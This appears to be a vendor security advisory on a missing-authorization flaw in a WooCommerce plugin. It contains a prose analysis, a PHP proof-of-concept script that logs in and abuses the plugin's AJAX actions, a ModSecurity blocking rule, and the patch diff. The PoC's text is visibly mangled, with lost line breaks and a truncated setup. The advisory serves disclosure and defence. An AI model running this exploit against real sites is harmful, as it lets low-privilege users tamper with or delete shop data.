“`json
{
“analysis”: “Atomic Edge analysis of CVE-2026-11364:nnThis vulnerability affects the Product Specifications for WooCommerce plugin (version 0.8.9 and earlier). The plugin exposes two AJAX actions, ‘dwps_modify_groups’ and ‘dwps_modify_attributes’, that allow authenticated attackers with Subscriber-level access to create, modify, and delete product specification groups and attributes. These actions lack proper authorization checks, enabling unauthorized manipulation of business-critical taxonomy data.nnThe root cause is the absence of capability checks and nonce verification in the __invoke() methods of the AttributeGroupController and AttributeController classes. The vulnerable code resides in ‘product-specifications/src/EntityUpdater/AttributeGroupController.php’ and ‘product-specifications/src/EntityUpdater/AttributeController.php’. The __invoke() methods, which handle both AJAX actions, directly process user-supplied data via filter_input(INPUT_POST, ‘do’) without verifying the requestor’s permissions or validating a nonce token. The sanitizeAction() method defaults to ‘add’ if an unrecognized action is provided, further widening the attack surface. The affected AJAX actions are registered in WordPress’s wp_ajax_ hooks for authenticated users only, but the lack of authorization within the handler permits any authenticated user, regardless of role, to invoke these endpoints.nnExploitation requires only a valid WordPress user session with Subscriber-level privileges or higher. An attacker sends a POST request to ‘/wp-admin/admin-ajax.php’ with the ‘action’ parameter set to ‘dwps_modify_groups’ or ‘dwps_modify_attributes’. The ‘do’ parameter specifies the operation: ‘add’, ‘edit’, or ‘delete’. The request includes additional parameters such as ‘name’, ‘slug’, ‘description’, ‘parent’ (for groups), or ‘group_id’ (for attributes). Because no nonce check or capability check exists in the vulnerable version, the attacker can execute these operations without restriction. An example payload for creating a new attribute group would be: action=dwps_modify_groups&do=add&name=MaliciousGroup&slug=malicious-group&description=Created+by+attacker.nnThe patch in version 0.8.10 adds two critical authorization checks within each controller. The new isAuthorizedRequest() method calls hasValidNonce() to validate a nonce via check_ajax_referer() and canManageTaxonomy() to verify the user has the appropriate taxonomy capability (e.g., ‘edit_terms’) for the requested operation. The nonce is generated with wp_create_nonce() in the updated JavaScript templates (list-page.php) and sent with each request. Before the patch, these checks were completely absent. After the patch, any request that fails either the nonce or capability check returns an error with HTTP status 403 and does not process the data. The sanitizeAction() method was also tightened to use strict comparison (=== true).nnThe impact is significant: an attacker can create arbitrary product specification groups and attributes that appear on the site’s frontend, potentially displaying false or malicious product specifications. They can modify existing groups and attributes to corrupt business data or inject misleading information. They can also delete legitimate groups and attributes, causing data loss and broken product displays. This undermines the integrity of e-commerce product data and can damage customer trust, SEO, and regulatory compliance (e.g., false specifications for products).nnThe CVSS score of 4.3 (Medium) reflects the requirement for authentication, but the ease of exploitation (any authenticated user) amplifies the real-world risk, especially on sites with many users or linked accounts (e.g., WooCommerce customer accounts).”,
“poc_php”: “<?phpn// Atomic Edge CVE Research – Proof of Conceptn// CVE-2026-11364 – Product Specifications for Woocommerce $username,n ‘pwd’ => $password,n ‘rememberme’ => ‘forever’,n ‘wp-submit’ => ‘Log In’,n ‘redirect_to’ => $target_url . ‘/wp-admin/’n);nn$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $login_url);ncurl_setopt($ch, CURLOPT_POST, true);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_HEADER, true);ncurl_setopt($ch, CURLOPT_COOKIEJAR, ‘/tmp/cookies.txt’);ncurl_setopt($ch, CURLOPT_COOKIEFILE, ‘/tmp/cookies.txt’);ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);ncurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);n$response = curl_exec($ch);ncurl_close($ch);nnecho “[*] Authentication requested for user: $username\n”;nn// Step 2: Create a malicious attribute groupn$ajax_url = $target_url . ‘/wp-admin/admin-ajax.php’;n$ajax_data = array(n ‘action’ => ‘dwps_modify_groups’,n ‘do’ => ‘add’,n ‘name’ => ‘Malicious Group’,n ‘slug’ => ‘malicious-group’,n ‘description’ => ‘This group was created by an unauthorized attacker’n);nn$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $ajax_url);ncurl_setopt($ch, CURLOPT_POST, true);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($ajax_data));ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_COOKIEFILE, ‘/tmp/cookies.txt’);ncurl_setopt($ch, CURLOPT_HEADER, false);ncurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);n$response = curl_exec($ch);ncurl_close($ch);nnecho “[*] Attempting to create attribute group via dwps_modify_groups…\n”;necho “Response: $response\n”;nn// Step 3: Create a malicious attribute under the new group (optional, shows deeper exploitation)n$ajax_data_attr = array(n ‘action’ => ‘dwps_modify_attributes’,n ‘do’ => ‘add’,n ‘name’ => ‘Malicious Attribute’,n ‘slug’ => ‘malicious-attribute’,n ‘group_id’ => ‘1’, // Requires knowing a valid group ID; replace as neededn ‘description’ => ‘This attribute was created by an unauthorized attacker’n);nn$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $ajax_url);ncurl_setopt($ch, CURLOPT_POST, true);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($ajax_data_attr));ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_COOKIEFILE, ‘/tmp/cookies.txt’);ncurl_setopt($ch, CURLOPT_HEADER, false);ncurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);n$response = curl_exec($ch);ncurl_close($ch);nnecho “[*] Attempting to create attribute via dwps_modify_attributes…\n”;necho “Response: $response\n”;nn// Cleanup cookie filenunlink(‘/tmp/cookies.txt’);n?>n”,
“modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2026-11364n# Blocks unauthorized AJAX requests to dwps_modify_groups and dwps_modify_attributes without a valid noncen# Applies only when the request lacks the required nonce parameternSecRule REQUEST_URI “@streq /wp-admin/admin-ajax.php” \n “id:20261136,phase:2,deny,status:403,chain,msg:’CVE-2026-11364 – Missing authorization in dwps_modify_groups or dwps_modify_attributes AJAX actions’,severity:’CRITICAL’,tag:’CVE-2026-11364′”n SecRule ARGS_POST:action “@rx ^dwps_modify_(groups|attributes)$” “chain”n SecRule ARGS_POST:dwps_modify_groups_nonce|ARGS_POST:dwps_modify_attributes_nonce “@eq ” “chain”n SecRule ARGS_POST:do “@rx ^(add|edit|delete)$”n”
}
“`

Published : June 26, 2026
CVE-2026-11364: Product Specifications for Woocommerce <= 0.8.9 Missing Authorization to Authenticated (Subscriber+) Arbitrary Attribute/Group Creation, Modification, and Deletion via 'dwps_modify_groups' and 'dwps_modify_attributes' AJAX Actions PoC, Patch Analysis & Rule
CVE ID
CVE-2026-11364
Plugin
product-specifications
Severity
Medium
(CVSS 4.3)
CWE
862
Vulnerable Version
0.8.9
Patched Version
0.8.10
Disclosed
June 25, 2026
Analysis Overview
Differential between vulnerable and patched code
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
Code Diff
--- a/product-specifications/assets/admin.asset.php
+++ b/product-specifications/assets/admin.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => '0374a707ac689cea163c');
+<?php return array('dependencies' => array(), 'version' => '88f1e0cc01565028bae6');
--- a/product-specifications/product-specifications.php
+++ b/product-specifications/product-specifications.php
@@ -4,14 +4,14 @@
* Plugin Name: Product Specifications for WooCommerce
* Plugin URI: https://github.com/dornaweb/product-specifications/
* Description: This plugin adds a product specifications table to your woocommerce products.
- * Version: 0.8.9
+ * Version: 0.8.10
* Author: Amin Abdolrezapoor
* Author URI: https://amin.nz
* License: GPL-2.0+
* Requires Plugins: woocommerce
* Requires PHP: 7.4
* Requires at least: 5.9
- * WC tested up to: 10.7.0
+ * WC tested up to: 10.8.1
* WC requires at least: 8.0.0
*/
declare (strict_types=1);
--- a/product-specifications/src/Admin/AdminPageTopMenuModifier.php
+++ b/product-specifications/src/Admin/AdminPageTopMenuModifier.php
@@ -8,6 +8,9 @@
public function modify(): void
{
global $submenu;
+ if (!isset($submenu['dw-specs'])) {
+ return;
+ }
foreach ($submenu['dw-specs'] as $key => $value) {
if ($value[2] === 'dw-specs-new') {
$submenu['dw-specs'][$key][2] = 'post-new.php?post_type=specs-table';
--- a/product-specifications/src/EntityUpdater/AttributeController.php
+++ b/product-specifications/src/EntityUpdater/AttributeController.php
@@ -18,6 +18,9 @@
public function __invoke(): void
{
$action = $this->sanitizeAction((string) filter_input(INPUT_POST, 'do', FILTER_SANITIZE_SPECIAL_CHARS));
+ if (!$this->isAuthorizedRequest($action)) {
+ return;
+ }
$data = $this->formData();
if ($action === self::ACTION_ADD) {
$this->processAdd($data);
@@ -33,6 +36,31 @@
}
wp_send_json_error(['result' => 'error', 'message' => 'Invalid request', 'where' => [], 'action' => 'unknown']);
}
+ private function isAuthorizedRequest(string $action): bool
+ {
+ if (!$this->hasValidNonce()) {
+ wp_send_json_error(['result' => 'error', 'message' => esc_html__('Security check failed', 'product-specifications'), 'where' => [], 'action' => $action], 403);
+ }
+ if (!$this->canManageTaxonomy($action)) {
+ wp_send_json_error(['result' => 'error', 'message' => esc_html__('You are not allowed to modify attributes', 'product-specifications'), 'where' => [], 'action' => $action], 403);
+ }
+ return true;
+ }
+ private function hasValidNonce(): bool
+ {
+ return (bool) check_ajax_referer(self::AJAX_ACTION, self::AJAX_ACTION . '_nonce', false);
+ }
+ private function canManageTaxonomy(string $action): bool
+ {
+ $taxonomy = get_taxonomy(TaxonomyAttribute::KEY);
+ if (!$taxonomy || empty($taxonomy->cap)) {
+ return false;
+ }
+ $capabilityMap = [self::ACTION_ADD => 'edit_terms', self::ACTION_EDIT => 'edit_terms', self::ACTION_DELETE => 'delete_terms'];
+ $capability = $capabilityMap[$action] ?? 'manage_terms';
+ $taxonomyCapability = (string) ($taxonomy->cap->{$capability} ?? $taxonomy->cap->manage_terms ?? '');
+ return $taxonomyCapability !== '' && current_user_can($taxonomyCapability);
+ }
// phpcs:ignore Inpsyde.CodeQuality.FunctionLength.TooLong
private function processAdd(array $data): void
{
@@ -156,6 +184,6 @@
}
private function sanitizeAction(string $action): string
{
- return in_array($action, [self::ACTION_ADD, self::ACTION_EDIT, self::ACTION_DELETE]) ? $action : 'add';
+ return in_array($action, [self::ACTION_ADD, self::ACTION_EDIT, self::ACTION_DELETE], true) ? $action : 'add';
}
}
--- a/product-specifications/src/EntityUpdater/AttributeGroupController.php
+++ b/product-specifications/src/EntityUpdater/AttributeGroupController.php
@@ -13,6 +13,9 @@
public function __invoke(): void
{
$action = $this->sanitizeAction((string) filter_input(INPUT_POST, 'do', FILTER_SANITIZE_SPECIAL_CHARS));
+ if (!$this->isAuthorizedRequest($action)) {
+ return;
+ }
$data = $this->formData();
if ($action === self::ACTION_ADD) {
$this->processAdd($data);
@@ -28,6 +31,31 @@
}
wp_send_json_error(['result' => 'error', 'message' => 'Invalid request', 'where' => [], 'action' => 'unknown']);
}
+ private function isAuthorizedRequest(string $action): bool
+ {
+ if (!$this->hasValidNonce()) {
+ wp_send_json_error(['result' => 'error', 'message' => esc_html__('Security check failed', 'product-specifications'), 'where' => [], 'action' => $action], 403);
+ }
+ if (!$this->canManageTaxonomy($action)) {
+ wp_send_json_error(['result' => 'error', 'message' => esc_html__('You are not allowed to modify groups', 'product-specifications'), 'where' => [], 'action' => $action], 403);
+ }
+ return true;
+ }
+ private function hasValidNonce(): bool
+ {
+ return (bool) check_ajax_referer(self::AJAX_ACTION, self::AJAX_ACTION . '_nonce', false);
+ }
+ private function canManageTaxonomy(string $action): bool
+ {
+ $taxonomy = get_taxonomy(TaxonomyAttributeGroup::KEY);
+ if (!$taxonomy || empty($taxonomy->cap)) {
+ return false;
+ }
+ $capabilityMap = [self::ACTION_ADD => 'edit_terms', self::ACTION_EDIT => 'edit_terms', self::ACTION_DELETE => 'delete_terms'];
+ $capability = $capabilityMap[$action] ?? 'manage_terms';
+ $taxonomyCapability = (string) ($taxonomy->cap->{$capability} ?? $taxonomy->cap->manage_terms ?? '');
+ return $taxonomyCapability !== '' && current_user_can($taxonomyCapability);
+ }
private function processAdd(array $data): void
{
if (empty($data['name'])) {
@@ -78,6 +106,6 @@
}
private function sanitizeAction(string $action): string
{
- return in_array($action, [self::ACTION_ADD, self::ACTION_EDIT, self::ACTION_DELETE]) ? $action : 'add';
+ return in_array($action, [self::ACTION_ADD, self::ACTION_EDIT, self::ACTION_DELETE], true) ? $action : 'add';
}
}
--- a/product-specifications/templates/admin/attribute-groups/list-page.php
+++ b/product-specifications/templates/admin/attribute-groups/list-page.php
@@ -214,7 +214,11 @@
<script id="dwps_delete_template" type="x-tmpl-mustache" data-templateType="JSON">
{
"data" : {
- "type" : "group"
+ "type" : "group",
+ "nonceField" : "dwps_modify_groups_nonce",
+ "nonce" : "<?php
+ echo esc_attr(wp_create_nonce('dwps_modify_groups'));
+ ?>"
},
"modal" : {
"title" : "<?php
--- a/product-specifications/templates/admin/attributes/list-page.php
+++ b/product-specifications/templates/admin/attributes/list-page.php
@@ -202,7 +202,11 @@
<script id="dwps_delete_template" type="x-tmpl-mustache" data-templateType="JSON">
{
"data" : {
- "type" : "attribute"
+ "type" : "attribute",
+ "nonceField" : "dwps_modify_attributes_nonce",
+ "nonce" : "<?php
+ echo esc_attr(wp_create_nonce('dwps_modify_attributes'));
+ ?>"
},
"modal" : {
"title" : "<?php
--- a/product-specifications/vendor/composer/installed.php
+++ b/product-specifications/vendor/composer/installed.php
@@ -1,5 +1,5 @@
<?php
namespace {
- return array('root' => array('name' => 'amiut/product-specifications', 'pretty_version' => '0.8.9', 'version' => '0.8.9.0', 'reference' => '24c2e679c0d2b9bfcc97e079fa0bd14f0dd7fced', 'type' => 'wordpress-plugin', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev' => false), 'versions' => array('amiut/product-specifications' => array('pretty_version' => '0.8.9', 'version' => '0.8.9.0', 'reference' => '24c2e679c0d2b9bfcc97e079fa0bd14f0dd7fced', 'type' => 'wordpress-plugin', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev_requirement' => false), 'inpsyde/modularity' => array('pretty_version' => '1.8.0', 'version' => '1.8.0.0', 'reference' => 'c6855a6d9c4ce6f090d031e820f176bddf2a0b1c', 'type' => 'library', 'install_path' => __DIR__ . '/../inpsyde/modularity', 'aliases' => array(), 'dev_requirement' => false), 'psr/container' => array('pretty_version' => '1.1.2', 'version' => '1.1.2.0', 'reference' => '513e0666f7216c7459170d56df27dfcefe1689ea', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/container', 'aliases' => array(), 'dev_requirement' => false)));
+ return array('root' => array('name' => 'amiut/product-specifications', 'pretty_version' => '0.8.10', 'version' => '0.8.10.0', 'reference' => 'c64f9ac21dcf83aa1e11db7a1d228b32be150743', 'type' => 'wordpress-plugin', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev' => false), 'versions' => array('amiut/product-specifications' => array('pretty_version' => '0.8.10', 'version' => '0.8.10.0', 'reference' => 'c64f9ac21dcf83aa1e11db7a1d228b32be150743', 'type' => 'wordpress-plugin', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev_requirement' => false), 'inpsyde/modularity' => array('pretty_version' => '1.8.0', 'version' => '1.8.0.0', 'reference' => 'c6855a6d9c4ce6f090d031e820f176bddf2a0b1c', 'type' => 'library', 'install_path' => __DIR__ . '/../inpsyde/modularity', 'aliases' => array(), 'dev_requirement' => false), 'psr/container' => array('pretty_version' => '1.1.2', 'version' => '1.1.2.0', 'reference' => '513e0666f7216c7459170d56df27dfcefe1689ea', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/container', 'aliases' => array(), 'dev_requirement' => false)));
}
Frequently Asked Questions
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations






